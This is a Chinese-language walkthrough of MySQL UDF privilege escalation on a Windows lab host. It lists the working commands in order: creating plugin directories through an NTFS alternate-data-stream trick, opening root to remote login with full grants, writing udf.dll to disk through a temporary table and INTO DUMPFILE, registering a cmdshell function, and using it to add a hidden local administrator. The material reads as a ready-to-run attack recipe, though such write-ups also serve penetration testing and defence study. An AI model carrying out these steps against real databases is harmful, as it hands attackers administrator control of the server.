Mysql udf提权
操作系统信息和MySQL数据库信息共同决定了udf提权时dii文件导出的位置,通过获取目标服务器的操作系统信息和MySQL数据库版本信息为后续提取奠定基础。
1,获取目标操作系统信息,查看操作系统信息的方法有很多,如果能够执行命令的话,可以通过“systeminfo”命令来获取,如果不能执行命令的话,可以再nmap中通过"nmap target -O"来获取。
2,获取目标MySQL版本信息,不同版本MySQL进行udf提权时需要导出的dll文件位置不同,所以获取MySQL版本信息非常重要。可以通过执行”mysql\bin\mysql.exe -V“命令和执行select version()查询语句两种方法获取mysql版本。
3,实验环境MySQL版本为5.1.40-community,提权时需要udf.dll放在MySQL安装目录的lib\plugin目录下,因此首先需要确认该目录是否存在,如果不存在可以通过NTFS ADS来创建目录
利用NTFS ADS创建lib目录,注意windows环境下目录路径需要转义
select 'xxx' into outfile 'C:\\mysql\\mysql-5.1.40-win32\\lib\::$INDEX_ALLOCATION';、
这里提示已经创建过了
利用NTFS ADS创建plugin目录
select 'xxx' into outfile 'C:\\mysql\\mysql-5.1.40-win32\\lib\\plugin\::$INDEX_ALLOCATION';
目标主机开启MySQL远程连接,并且攻击者已经获得MySQL数据库连接的用户名和密码信息,通过udf手工提权获得操作系统管理员权限。
1,开启目标主机的MySQL远程连接,依次执行如下命令:
use mysql;
update user set host = '%' where user = 'root';
select host,user,password from user;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'mypassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;
2,使用Navicat MySQL管理工具连接
3,创建临时表
CREATE TABLE temp_udf(udf BLOB);
4,将udf.dll二进制数据插入临时表temp_udf中,$ binaryCode 为udf.txt文件中复制的内容。
INSERT into temp_udf values (CONVERT($binaryCode,CHAR));
5,将udf.dll导出到mysql安装目录下的lib\plugin\udf.dll文件中
SELECT udf FROM Temp_udf INTO DUMPFILE "C:/mysql/mysql-5.1.40-win32/lib/plugin/udf.dll"
6,删除临时表
DROP TABLE Temp_udf
7,创建cmdshell函数
create function cmdshell returns string soname 'udf.dll'
8,添加超级管理员
select cmdshell('net user udftester 123456 /add & net localgroup administrators udftester /add')
9,查看udftest用户是否假如administrator管理员用户组,将执行结果另存为”1“然后打开,即可看到udftest已经成功加入administrator管理员用户组。
select cmdshell('net localgroup administrators')
至此 ,一次udf提权已经完成